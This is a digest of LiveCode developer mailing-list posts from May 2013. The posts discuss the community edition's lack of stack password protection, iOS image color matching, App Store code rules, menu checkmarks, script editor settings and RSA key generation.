<5181ED78.5040108@hyperactivesw.com> On 5/1/13 6:24 PM, Timothy Miller wrote: > On May 1, 2013, at 3:14 PM, J. Landman Gay wrote: > >> They've been pretty up-front about the omission of the security >> module, it was in the Kickstarter materials. Security can't be in >> the community version. If it was, it would be worthless; anyone >> could read the algorithm and use it to unlock protected stacks made >> with the commercial version. Code protection would be broken >> everywhere. > > I don't completely understand that. Apparently, the general idea is > that it couldn't be helped and LiveCode is not turning its back on > me. Let's say you move into a condo where the rent is free, on the one condition that you give a copy of your house key to everyone in the building. What good would it do to lock your door? If LiveCode released the source code to their password protection, everyone would have the key to unlock any stack. So that's the one piece they aren't giving away, to protect developers. Now, without that unlocking piece in the code, the free LiveCode can't unlock stacks either. That's why you had trouble in 6.0; there's no mechanism in there to work with passwords. You had to remove the password in 5.5 first. > > Not being a computer professional, I didn't read every line of the > Kickstarter materials. > > Any other gotchas in the non-commercial version? Nope, that's the one single thing, at least until you plan to submit an app to Apple. :) -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From terry.judd at unimelb.edu.au Thu May 2 00:39:30 2013 From: terry.judd at unimelb.edu.au (Terry Judd) Date: Thu, 2 May 2013 04:39:30 +0000 Subject: matching colors to image colors on iOS In-Reply-To: <43CCA3EA-0BDA-47E7-98DC-FDB72DEDF7D4@sweattechnologies.com> References: <43CCA3EA-0BDA-47E7-98DC-FDB72DEDF7D4@sweattechnologies.com> Message-ID: <48765C12-8363-42EF-A3CF-9EFA59DEF498@unimelb.edu.au> Monte - if you're working with PNG images have you tried fiddling around with the screenGamma property? Terry... On 02/05/2013, at 02:27 PM, Monte Goulding wrote: > I've got a background graphics I'm trying to match to the background color of an image and it looks perfect on the desktop but when run in the simulator the image is quite a bit lighter. Is there any Scott Rossi style trick... Tried setting the paintCompression to png to see if that made any difference. > > Cheers > > -- > M E R Goulding > Software development services > Bespoke application development for vertical markets > > mergExt - There's an external for that! > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > Dr Terry Judd Senior Lecturer in Medical Education Medical Eduction Unit Faculty of Medicine, Dentistry & Health Sciences The University of Melbourne From monte at sweattechnologies.com Thu May 2 00:41:59 2013 From: monte at sweattechnologies.com (Monte Goulding) Date: Thu, 2 May 2013 14:41:59 +1000 Subject: matching colors to image colors on iOS In-Reply-To: <48765C12-8363-42EF-A3CF-9EFA59DEF498@unimelb.edu.au> References: <43CCA3EA-0BDA-47E7-98DC-FDB72DEDF7D4@sweattechnologies.com> <48765C12-8363-42EF-A3CF-9EFA59DEF498@unimelb.edu.au> Message-ID: <29E85533-8DA8-4B8C-B0CF-818A8AAC5723@sweattechnologies.com> Yes I am but screenGamma is documented as desktop only... is that wrong? On 02/05/2013, at 2:39 PM, Terry Judd wrote: > Monte - if you're working with PNG images have you tried fiddling around with the screenGamma property? -- Monte Goulding M E R Goulding - software development services mergExt - There's an external for that! From jacque at hyperactivesw.com Thu May 2 00:53:09 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Wed, 01 May 2013 23:53:09 -0500 Subject: How is this in the app store In-Reply-To: References: <51814541.8050008@hyperactivesw.com> Message-ID: <5181F135.4040305@hyperactivesw.com> On 5/1/13 9:19 PM, Peter W A Wood wrote: > On 2 May 2013, at 00:39, J. Landman Gay wrote: > >> I thought the "no executable code" rule was only for iOS? > > I don't think that there is a "no executable code" rule on iOS but > there are restrictions on what the code can do. You can buy a basic > interpreter for iOS through iTunes - > https://itunes.apple.com/us/app/basic!/id362411238?mt=8 > > I think that there may be other languages too. I was confused when I first heard about that. I thought anything that downloaded and ran code was forbidden. Maybe the basic interpreter doesn't work that way. I get lost in Apple's provisions. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From scott at tactilemedia.com Thu May 2 01:01:56 2013 From: scott at tactilemedia.com (Scott Rossi) Date: Wed, 01 May 2013 22:01:56 -0700 Subject: matching colors to image colors on iOS Message-ID: <6ajvueltwdjveju9dprpjd1h.1367470916101@email.android.com> This problem just will not go away. ?One possible solution is to avoid the PNG format for your image and use GIF or JPEG if possible. ?If neither one of those is an option, but your use is iOS only, try opening the image in Apple's ColorSync Utility, assign the image a Generic RGB profile and save the image. Reimport into LiveCode and it will hopefully match whatever colors you're using, but again, if it works it's a Mac/iOS solution only. Regards, Scott Rossi Creative Director Tactile Media, UX/UI Design -------- Original message -------- Subject: matching colors to image colors on iOS From: Monte Goulding To: How to use LiveCode CC: I've got a background graphics I'm trying to match to the background color of an image and it looks perfect on the desktop but when run in the simulator the image is quite a bit lighter. Is there? any Scott Rossi style trick... Tried setting the paintCompression to png to see if that made any difference. Cheers -- M E R Goulding Software development services Bespoke application development for vertical markets mergExt - There's an external for that! _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From monte at sweattechnologies.com Thu May 2 01:13:57 2013 From: monte at sweattechnologies.com (Monte Goulding) Date: Thu, 2 May 2013 15:13:57 +1000 Subject: matching colors to image colors on iOS In-Reply-To: <6ajvueltwdjveju9dprpjd1h.1367470916101@email.android.com> References: <6ajvueltwdjveju9dprpjd1h.1367470916101@email.android.com> Message-ID: On 02/05/2013, at 3:01 PM, Scott Rossi wrote: > This problem just will not go away. One possible solution is to avoid the PNG format for your image and use GIF or JPEG if possible. If neither one of those is an option, but your use is iOS only, try opening the image in Apple's ColorSync Utility, assign the image a Generic RGB profile and save the image. Reimport into LiveCode and it will hopefully match whatever colors you're using, but again, if it works it's a Mac/iOS solution only. OK, thanks, I'm discussing options with the clients to see if we can move to presenting the image in a way where I don't need to match the background exactly or the background is all done in livecode.... eventually the app will move to android so we need a solution that can handle that... Cheers -- M E R Goulding Software development services Bespoke application development for vertical markets mergExt - There's an external for that! From gcanyon at gmail.com Thu May 2 02:10:09 2013 From: gcanyon at gmail.com (Geoff Canyon) Date: Thu, 2 May 2013 01:10:09 -0500 Subject: How is this in the app store In-Reply-To: <5181F135.4040305@hyperactivesw.com> References: <51814541.8050008@hyperactivesw.com> <5181F135.4040305@hyperactivesw.com> Message-ID: Sections 2.7 and 2.8: - Apps that download code in any way or form will be rejected - Apps that install or launch other executable code will be rejected Apps like Codea (and presumably this Basic!, but I'm installing it out of curiosity) cannot load code, only export it. On Wed, May 1, 2013 at 11:53 PM, J. Landman Gay wrote: > On 5/1/13 9:19 PM, Peter W A Wood wrote: > >> On 2 May 2013, at 00:39, J. Landman Gay wrote: >> >> I thought the "no executable code" rule was only for iOS? >>> >> >> I don't think that there is a "no executable code" rule on iOS but >> there are restrictions on what the code can do. You can buy a basic >> interpreter for iOS through iTunes - >> https://itunes.apple.com/us/**app/basic!/id362411238?mt=8 >> >> I think that there may be other languages too. >> > > I was confused when I first heard about that. I thought anything that > downloaded and ran code was forbidden. Maybe the basic interpreter doesn't > work that way. > > I get lost in Apple's provisions. > > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > From gerry.orkin at gmail.com Thu May 2 02:50:16 2013 From: gerry.orkin at gmail.com (Gerry Orkin) Date: Thu, 2 May 2013 16:50:16 +1000 Subject: How is this in the app store In-Reply-To: References: <51814541.8050008@hyperactivesw.com> <5181F135.4040305@hyperactivesw.com> Message-ID: That seems to disallow stacks that go to other stacks in the same app? My app does that :) Gerry On 02/05/2013, at 4:10 PM, Geoff Canyon wrote: > Apps that install or launch other executable code will be rejected From richmondmathewson at gmail.com Thu May 2 03:31:15 2013 From: richmondmathewson at gmail.com (Richmond) Date: Thu, 02 May 2013 10:31:15 +0300 Subject: Password protection in non-commercial 6.0.1 In-Reply-To: <7553ED77-5BFA-4571-90FB-CE1B4023B6BD@doctorTimothyMiller.com> References: <39D05ABD-F9A7-4A4C-A9A7-049036C757AF@doctorTimothyMiller.com> <23F2A509-8A94-4484-AA98-01762126D10E@doctorTimothyMiller.com> <7553ED77-5BFA-4571-90FB-CE1B4023B6BD@doctorTimothyMiller.com> Message-ID: <51821643.6000300@gmail.com> On 05/02/2013 12:55 AM, Timothy Miller wrote: > On May 1, 2013, at 2:44 PM, Mike Bonner wrote: > >> If its 6.0.1 commercial you should be able to. But of course if its 6.0.1 >> commercial it should have been able to open it to begin with. If its the >> community version the answer would be no, that part of things has been >> removed. > Not commercial :( > > For many years, I have depended on password protection of this stack and it will be a pain to get along without it. I am not a commercial user. My stacks are for my own use only. Well, if they are for your own use only, you don't need password protection [ Wow, I just had a vision of somebody with a split personality, where Dr Jekyll password protects stacks to prevent Mr Hyde mucking around with them ] > > Is LiveCode turning its back on users like me? Will I regret my modest contribution to the kickstarter fund? Livecode is not turning its back on anyone, and it was made explicitly clear during the campaign that there would be no password protection available in the OSS version of their product. In fact Livecode is doing quite the opposite, it is stripping itself naked in front of us all, and one can think of password protection as the fig-leaf if one wants; tose of us who don't want to let the world see our 'prawns' can buy the commercial version. AND, if that is not clear all you have to do is about 15 minutes research on the internet as to what constitutes Open Source Software. I donated my "widow's mite" having read all the small print (think Gene Wilder in 'Charlie and the Chocolate Factory), and if you didn't you, quite frankly, have only yourself to blame. I was well aware that my donation would bring me no direct benefits (unless a blue badgey thing in the forums is what thrills your gorilla), but was also aware that the long-term benefits are enormous. Richmond. > > Tim Miller > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From richmondmathewson at gmail.com Thu May 2 03:32:12 2013 From: richmondmathewson at gmail.com (Richmond) Date: Thu, 02 May 2013 10:32:12 +0300 Subject: Password protection in non-commercial 6.0.1 In-Reply-To: References: <39D05ABD-F9A7-4A4C-A9A7-049036C757AF@doctorTimothyMiller.com> <23F2A509-8A94-4484-AA98-01762126D10E@doctorTimothyMiller.com> <7553ED77-5BFA-4571-90FB-CE1B4023B6BD@doctorTimothyMiller.com> Message-ID: <5182167C.3020702@gmail.com> On 05/02/2013 12:57 AM, stephen barncard wrote: > If it's for your own use, why do you need to protect you stacks at all? You > don't trust yourself? LOL! > > > On Wed, May 1, 2013 at 2:55 PM, Timothy Miller < > gandalf at doctortimothymiller.com> wrote: > >> On May 1, 2013, at 2:44 PM, Mike Bonner wrote: >> >>> If its 6.0.1 commercial you should be able to. But of course if its 6.0.1 >>> commercial it should have been able to open it to begin with. If its the >>> community version the answer would be no, that part of things has been >>> removed. >> Not commercial :( >> >> For many years, I have depended on password protection of this stack and >> it will be a pain to get along without it. I am not a commercial user. My >> stacks are for my own use only. >> >> Is LiveCode turning its back on users like me? Will I regret my modest >> contribution to the kickstarter fund? >> >> Tim Miller >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > From richmondmathewson at gmail.com Thu May 2 03:33:32 2013 From: richmondmathewson at gmail.com (Richmond) Date: Thu, 02 May 2013 10:33:32 +0300 Subject: Password protection in non-commercial 6.0.1 In-Reply-To: <51819B61.7030802@hyperactivesw.com> References: <39D05ABD-F9A7-4A4C-A9A7-049036C757AF@doctorTimothyMiller.com> <23F2A509-8A94-4484-AA98-01762126D10E@doctorTimothyMiller.com> <7553ED77-5BFA-4571-90FB-CE1B4023B6BD@doctorTimothyMiller.com> <51819B61.7030802@hyperactivesw.com> Message-ID: <518216CC.8090108@gmail.com> On 05/02/2013 01:46 AM, J. Landman Gay wrote: > On 5/1/13 5:39 PM, Monte Goulding wrote: >> >> On 02/05/2013, at 7:57 AM, stephen barncard >> wrote: >> >>> If it's for your own use, why do you need to protect you stacks at >>> all? You don't trust yourself? >> >> That was going to be my question. The only thing I can think of is >> for using it as some kind of security feature for data which it's not >> designed or useful for. Use encrypt instead.... > > US government restrictions require that certain types of data be > secured. (I know what Timothy's stack is about.) > Time to cough up some money. From richmondmathewson at gmail.com Thu May 2 03:37:31 2013 From: richmondmathewson at gmail.com (Richmond) Date: Thu, 02 May 2013 10:37:31 +0300 Subject: Password protection in non-commercial 6.0.1 In-Reply-To: <347C783C-811C-4666-8D47-6E93CFF5FB1E@doctorTimothyMiller.com> References: <39D05ABD-F9A7-4A4C-A9A7-049036C757AF@doctorTimothyMiller.com> <23F2A509-8A94-4484-AA98-01762126D10E@doctorTimothyMiller.com> <7553ED77-5BFA-4571-90FB-CE1B4023B6BD@doctorTimothyMiller.com> <518193B1.7040000@hyperactivesw.com> <347C783C-811C-4666-8D47-6E93CFF5FB1E@doctorTimothyMiller.com> Message-ID: <518217BB.7040901@gmail.com> On 05/02/2013 02:24 AM, Timothy Miller wrote: > On May 1, 2013, at 3:14 PM, J. Landman Gay wrote: > >> They've been pretty up-front about the omission of the security module, it was in the Kickstarter materials. Security can't be in the community version. If it was, it would be worthless; anyone could read the algorithm and use it to unlock protected stacks made with the commercial version. Code protection would be broken everywhere. > I don't completely understand that. Apparently, the general idea is that it couldn't be helped and LiveCode is not turning its back on me. > > Not being a computer professional, I didn't read every line of the Kickstarter materials. I'm not "a computer professional" either, but at 51 I've been fooled so many times I've lost count, so when the LC Kickstarter came up I settled down for a log, hard read. Even if nothing else this should serve as a warning to all of us to check things very carefully indeed before we commit ourselves to anything. Richmond. > > Any other gotchas in the non-commercial version? > > TM > > P.S. Sorry for the multiple brief replies on the same subject. I know that's not ideal. > > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From richmondmathewson at gmail.com Thu May 2 03:41:41 2013 From: richmondmathewson at gmail.com (Richmond) Date: Thu, 02 May 2013 10:41:41 +0300 Subject: Password protection in non-commercial 6.0.1 In-Reply-To: <4C6A63F2-52E4-41B9-B04C-DBBAA5CC1210@doctorTimothyMiller.com> References: <5181A475.8070200@fourthworld.com> <4C6A63F2-52E4-41B9-B04C-DBBAA5CC1210@doctorTimothyMiller.com> Message-ID: <518218B5.20404@gmail.com> On 05/02/2013 02:48 AM, Timothy Miller wrote: > On May 1, 2013, at 4:39 PM, stephen barncard wrote: > >> Well, here's another smart-aleck question while I'm feeling randy. Are >> there script limits in the Community edition? > I have no idea. Don't even know what a script limit is. Perhaps it is time you found out what all these things you don't know about are; unless, fo course, you want to go on "being hoodwinked". Ignorance is not a defence in a court of law. > > Feel better now? > > TM > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From richmondmathewson at gmail.com Thu May 2 04:09:34 2013 From: richmondmathewson at gmail.com (Richmond) Date: Thu, 02 May 2013 11:09:34 +0300 Subject: Cheapjack development for Windows Message-ID: <51821F3E.3000404@gmail.com> Yesterday I was running off some Youtube filmettes of my software, and I found that the easiest way to do this was by running a Windows build in WINE on Linux and using 'RecordMyDesktop'. It occurred to me then that the cheapest way to develop OSS software for Windows was to use Livecode OSS 6 for Windows in WINE. Tried it. Built a Windows standalone. Tested the Windows standalone in real Windows (unsuspecting friend). It worked. Richmond. From richmondmathewson at gmail.com Thu May 2 04:25:54 2013 From: richmondmathewson at gmail.com (Richmond) Date: Thu, 02 May 2013 11:25:54 +0300 Subject: [OT] Devawriter Pro Message-ID: <51822312.2060407@gmail.com> http://www.youtube.com/watch?v=Ip5lP2rIahs http://www.youtube.com/watch?v=2RpCOp3ZNv8 Richmond. From rene.micout at numericable.com Thu May 2 04:37:15 2013 From: rene.micout at numericable.com (=?windows-1252?Q?Ren=E9_Micout?=) Date: Thu, 2 May 2013 10:37:15 +0200 Subject: Password protection in non-commercial 6.0.1 In-Reply-To: <51821643.6000300@gmail.com> References: <39D05ABD-F9A7-4A4C-A9A7-049036C757AF@doctorTimothyMiller.com> <23F2A509-8A94-4484-AA98-01762126D10E@doctorTimothyMiller.com> <7553ED77-5BFA-4571-90FB-CE1B4023B6BD@doctorTimothyMiller.com> <51821643.6000300@gmail.com> Message-ID: Le 2 mai 2013 ? 09:31, Richmond a ?crit : > I donated my "widow's mite" having read all the small print (think Gene Wilder in 'Charlie and the Chocolate Factory), and if you didn't you, quite frankly, have only yourself to blame. Dear Richmond, This is good for people speak really good English ! But for other people? it is more difficult? Can you give me a French version ? ;-) For me, the French juridical jargon is difficult to understand? Then (So ?) in English? Bon souvenir de Paris Ren? From richmondmathewson at gmail.com Thu May 2 05:28:19 2013 From: richmondmathewson at gmail.com (Richmond) Date: Thu, 02 May 2013 12:28:19 +0300 Subject: Password protection in non-commercial 6.0.1 In-Reply-To: References: <39D05ABD-F9A7-4A4C-A9A7-049036C757AF@doctorTimothyMiller.com> <23F2A509-8A94-4484-AA98-01762126D10E@doctorTimothyMiller.com> <7553ED77-5BFA-4571-90FB-CE1B4023B6BD@doctorTimothyMiller.com> <51821643.6000300@gmail.com> Message-ID: <518231B3.9060106@gmail.com> On 05/02/2013 11:37 AM, Ren? Micout wrote: > Le 2 mai 2013 ? 09:31, Richmond a ?crit : > >> I donated my "widow's mite" having read all the small print (think Gene Wilder in 'Charlie and the Chocolate Factory), and if you didn't you, quite frankly, have only yourself to blame. > Dear Richmond, > This is good for people speak really good English ! But for other people? it is more difficult? > Can you give me a French version ? > ;-) > For me, the French juridical jargon is difficult to understand? Then (So ?) in English? > Bon souvenir de Paris > Ren? > > En clair: Vous etes un fou si vous n'avez pas lire le licence! Toujours gai, Richmond. From matthias_livecode_150811 at m-r-d.de Thu May 2 06:45:50 2013 From: matthias_livecode_150811 at m-r-d.de (Matthias Rebbe) Date: Thu, 2 May 2013 12:45:50 +0200 Subject: how to "check" a entry in a statusiconmenu Message-ID: <3A2BFC07-775A-4A67-9704-D5B434D4A652@m-r-d.de> Hi, for an app in Windows i am using the StatusIconMenu feature, which works really well. But i would like to place a checkmark or an icon before an entry in that menu. Is this possible? Tried with the special character "!c" to get the entry displayed as checked. But that did not work. Maybe i am doing something wrong. Any idea? Regards, Matthias From bvg at mac.com Thu May 2 06:54:03 2013 From: bvg at mac.com (=?iso-8859-1?Q?Bj=F6rnke_von_Gierke?=) Date: Thu, 02 May 2013 12:54:03 +0200 Subject: revOpenDatabase acting differently in IDE and standalone In-Reply-To: References: <193259056987.20130430214613@ahsoftware.net> Message-ID: <53331EE2-005B-4813-BE4D-217D8E25B7B4@mac.com> On 02.05.2013, at 00:05, Peter Haworth wrote: > I don't think so - standalones are the same as any other executables, they > have compiled code in them, not scripts. Just want to note that this is wrong, and standalones do contain all unencrypted scripts as clear text. They also contain field contents, button names and custom properties (which all remain clear text even with a password). This is of course because the engine actually reads the scripts every time you run one. Part of this is because you can set the script of an object within a standalone (tho for historical drm reasons you can't just set any script length, see the "scriptLimit" property). -- Use an alternative Dictionary viewer: http://bjoernke.com/bvgdocu/ Chat with other RunRev developers: http://bjoernke.com/chatrev/ From bvg at mac.com Thu May 2 06:58:34 2013 From: bvg at mac.com (=?iso-8859-1?Q?Bj=F6rnke_von_Gierke?=) Date: Thu, 02 May 2013 12:58:34 +0200 Subject: Password protection in non-commercial 6.0.1 In-Reply-To: References: <5181A475.8070200@fourthworld.com> Message-ID: <6828782E-34DC-422F-9E5A-E72CFE5B6EF5@mac.com> On 02.05.2013, at 02:17, Mark Wieder wrote: > No. There are no script limits and the limits on the number of frontscripts > etc have also been removed. Wait what? Self modifying automatic genetic code algorithm, here we come! -- Use an alternative Dictionary viewer: http://bjoernke.com/bvgdocu/ Chat with other RunRev developers: http://bjoernke.com/chatrev/ From skip at magicgate.com Thu May 2 08:45:59 2013 From: skip at magicgate.com (Magicgate Software - Skip Kimpel) Date: Thu, 2 May 2013 08:45:59 -0400 Subject: Word document indexer Message-ID: Good morning LC'ers, In the "good old days" of using Director, I did quite a bit of work with PDF files and used a product by INM that handled PDFs beautifully. Having a tool / library like that here one day in LC would be a dream for me, however, I digress. INM had a really nice little utility that was a PDF indexer tool. You would point it to a file folder and it would go through all the PDFs in that folder and index them into a little database extracting and making them keyword searchable. You could then turn around and reference these very easily, Before I go ahead and roll my own version of this, has anybody done this with LC in the past? Quite honestly I was looking to index a large amount of WORD documents that I could then reference via a text search. I have scoured around the forums quite a bit but do not see anything like this for LiveCode. Just thought I would ask before I spend a copious amount of hours on this :) SKIP From dochawk at gmail.com Thu May 2 10:07:18 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Thu, 2 May 2013 07:07:18 -0700 Subject: Password protection in non-commercial 6.0.1 In-Reply-To: <6828782E-34DC-422F-9E5A-E72CFE5B6EF5@mac.com> References: <5181A475.8070200@fourthworld.com> <6828782E-34DC-422F-9E5A-E72CFE5B6EF5@mac.com> Message-ID: On Thu, May 2, 2013 at 3:58 AM, Bj?rnke von Gierke wrote: > Wait what? Self modifying automatic genetic code algorithm, here we come! See the work of Dan Ashlock (Iowa State) and others; in addition to genetic algorithms, they've done work where programs evolve. -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From lc at pbh.on-rev.com Thu May 2 11:04:38 2013 From: lc at pbh.on-rev.com (Paul Hibbert) Date: Thu, 2 May 2013 08:04:38 -0700 Subject: how to "check" a entry in a statusiconmenu In-Reply-To: <3A2BFC07-775A-4A67-9704-D5B434D4A652@m-r-d.de> References: <3A2BFC07-775A-4A67-9704-D5B434D4A652@m-r-d.de> Message-ID: <88AB933C-376D-4F7C-A090-B94185ED8FE4@pbh.on-rev.com> Hi Mattias, Not too sure this will help, but I came up against a similar problem with option menus on Win, so figured out a way to do what I needed by code, maybe you can adapt this for your use? ==Code== local sHist,sMenuText,sLabel on mouseDown lock screen -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Stops the label momentarily changing on mouseDown put the menuHistory of me into sHist -- ~~~~~~~~~~~~~~ So we know where we are coming from put the label of me into sLabel -- ~~~~~~~~~~~~~~~~~~ So we can re-use it later put the text of me into sMenuText -- ~~~~~~~~~~~~~~~~ So we can manipulate it later end mouseDown on menuPick pItemName if char 1 of pItemName = "*" then -- ~~~~~~~~~~~~~~~~~ Check to see if the user chose a disabled item lock messages -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ So we can control the outcome without unexpected results set the menuHistory of me to sHist -- ~~~~~~~~~~~~~~ Returns the menuHistory back to the required state set the label of me to sLabel -- ~~~~~~~~~~~~~~~~~~ Give the user correct feedback unlock messages exit menuPick -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Don't need to go any further else replace "*" with "" in sMenuText -- ~~~~~~~~~~~~~~~~ Remove any previous choice put word 2 of the selectedLine of me into tLine -- ~ Identify the new choice put "*" before line tLine of sMenuText -- ~~~~~~~~~~ Mark the new choice set the text of me to sMenuText -- ~~~~~~~~~~~~~~~~~ Update the Menu Text set the menuHistory of me to tLine -- ~~~~~~~~~~~~~~ Update the menuHistory set the label of me to pItemName -- ~~~~~~~~~~~~~~~~ Give the user some feedback end if unlock screen answer pItemName -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Now we can do something with the user choice end menuPick ==End Code== Paul On 2013-05-02, at 3:45 AM, Matthias Rebbe wrote: > Hi, > > for an app in Windows i am using the StatusIconMenu feature, which works really well. > But i would like to place a checkmark or an icon before an entry in that menu. > > Is this possible? Tried with the special character "!c" to get the entry displayed as checked. But that did not > work. Maybe i am doing something wrong. > > Any idea? > > Regards, > > Matthias > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bogdanoff at me.com Thu May 2 11:50:58 2013 From: bogdanoff at me.com (Peter Bogdanoff) Date: Thu, 2 May 2013 08:50:58 -0700 Subject: Weird script behavior Message-ID: <1EEBA339-40A8-40C0-BC20-7A43FCD69948@me.com> Hi, I've started to experience some weird stuff in the script editor. Using LC 5.0 1. Adding a breakpoint shows a grey dot with a red outline instead of the fully red dot and running scripts don't stop at that point. If I turn on "Script debug mode" it works, but I haven't had to do that before. 2. Editing a script makes "put" show as an error with this kind of description: button "Go To Stack": compilation error at line 2 (Chunk: can't create a variable with that name (explicitVariables?)) near "maxH", char 12 Where I'm doing just: put 676 into maxH Do I need to reinstall? Peter Bogdanoff UCLA From rdimola at evergreeninfo.net Thu May 2 11:57:23 2013 From: rdimola at evergreeninfo.net (Ralph DiMola) Date: Thu, 2 May 2013 11:57:23 -0400 Subject: Weird script behavior In-Reply-To: <1EEBA339-40A8-40C0-BC20-7A43FCD69948@me.com> References: <1EEBA339-40A8-40C0-BC20-7A43FCD69948@me.com> Message-ID: <020601ce474d$bc80bad0$35823070$@net> Did you turn on "strict compilation mode" in the prefs by mistake? Ralph DiMola IT Director Evergreen Information Services rdimola at evergreeninfo.net Phone: 518-636-3998 Ex:11 Cell: 518-796-9332 -----Original Message----- From: use-livecode [mailto:use-livecode-bounces at lists.runrev.com] On Behalf Of Peter Bogdanoff Sent: Thursday, May 02, 2013 11:51 AM To: How to use LiveCode Subject: Weird script behavior Hi, I've started to experience some weird stuff in the script editor. Using LC 5.0 1. Adding a breakpoint shows a grey dot with a red outline instead of the fully red dot and running scripts don't stop at that point. If I turn on "Script debug mode" it works, but I haven't had to do that before. 2. Editing a script makes "put" show as an error with this kind of description: button "Go To Stack": compilation error at line 2 (Chunk: can't create a variable with that name (explicitVariables?)) near "maxH", char 12 Where I'm doing just: put 676 into maxH Do I need to reinstall? Peter Bogdanoff UCLA _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From bogdanoff at me.com Thu May 2 11:58:46 2013 From: bogdanoff at me.com (Peter Bogdanoff) Date: Thu, 2 May 2013 08:58:46 -0700 Subject: Weird script behavior In-Reply-To: <020601ce474d$bc80bad0$35823070$@net> References: <1EEBA339-40A8-40C0-BC20-7A43FCD69948@me.com> <020601ce474d$bc80bad0$35823070$@net> Message-ID: YES, it was on somehow... Thanks! Peter On May 2, 2013, at 8:57 AM, Ralph DiMola wrote: > Did you turn on "strict compilation mode" in the prefs by mistake? > > Ralph DiMola > IT Director > Evergreen Information Services > rdimola at evergreeninfo.net > Phone: 518-636-3998 Ex:11 > Cell: 518-796-9332 > > > -----Original Message----- > From: use-livecode [mailto:use-livecode-bounces at lists.runrev.com] On Behalf > Of Peter Bogdanoff > Sent: Thursday, May 02, 2013 11:51 AM > To: How to use LiveCode > Subject: Weird script behavior > > Hi, > > I've started to experience some weird stuff in the script editor. > > Using LC 5.0 > > 1. Adding a breakpoint shows a grey dot with a red outline instead of the > fully red dot and running scripts don't stop at that point. If I turn on > "Script debug mode" it works, but I haven't had to do that before. > > 2. Editing a script makes "put" show as an error with this kind of > description: > button "Go To Stack": compilation error at line 2 (Chunk: can't create a > variable with that name (explicitVariables?)) near "maxH", char 12 > > Where I'm doing just: > put 676 into maxH > > Do I need to reinstall? > > Peter Bogdanoff > UCLA > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From mwieder at ahsoftware.net Thu May 2 12:20:39 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Thu, 2 May 2013 16:20:39 +0000 (UTC) Subject: Weird script behavior References: <1EEBA339-40A8-40C0-BC20-7A43FCD69948@me.com> <020601ce474d$bc80bad0$35823070$@net> Message-ID: Ralph DiMola writes: > Did you turn on "strict compilation mode" in the prefs by mistake? I'd hardly classify that as a "mistake" -- Mark Wieder mwieder at ahsoftware.net From dochawk at gmail.com Thu May 2 13:30:41 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Thu, 2 May 2013 10:30:41 -0700 Subject: Generating RSA pairs Message-ID: I need to generate RSA key pairs (one pair per client). I see the openssl key generation possibility, but that's still relying on my system for "randomness". I'd *like* to pull random numbers (say, from random.org) and generate the keys from those. Does anyone have any experience or suggestions for this? -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From pete at lcsql.com Thu May 2 14:23:52 2013 From: pete at lcsql.com (Peter Haworth) Date: Thu, 2 May 2013 11:23:52 -0700 Subject: how to "check" a entry in a statusiconmenu In-Reply-To: <3A2BFC07-775A-4A67-9704-D5B434D4A652@m-r-d.de> References: <3A2BFC07-775A-4A67-9704-D5B434D4A652@m-r-d.de> Message-ID: Hi Matthias I'm not familiar with the StatusIconMenu feature (is that an LC feature or WIndows?) but I'd like to expand this thread to another aspect of checkmarks and diamonds in option menu items if I may. My experience on a Mac is that if you put a check mark against an option menu item by inserting "!c" at the beginning of it, when that item is selected from the option menu, the pitemname parameter to the menuPick handler does not include the "!c". It is there in the text of the option menu so the only way to find out if an item is checked or not is to use the menuHistory setting to get the selected line from the text of the option menu and see if it begins with "!c". Same applies to the "!n","!r","!u" special characters. Pete lcSQL Software On Thu, May 2, 2013 at 3:45 AM, Matthias Rebbe < matthias_livecode_150811 at m-r-d.de> wrote: > Hi, > > for an app in Windows i am using the StatusIconMenu feature, which works > really well. > But i would like to place a checkmark or an icon before an entry in that > menu. > > Is this possible? Tried with the special character "!c" to get the entry > displayed as checked. But that did not > work. Maybe 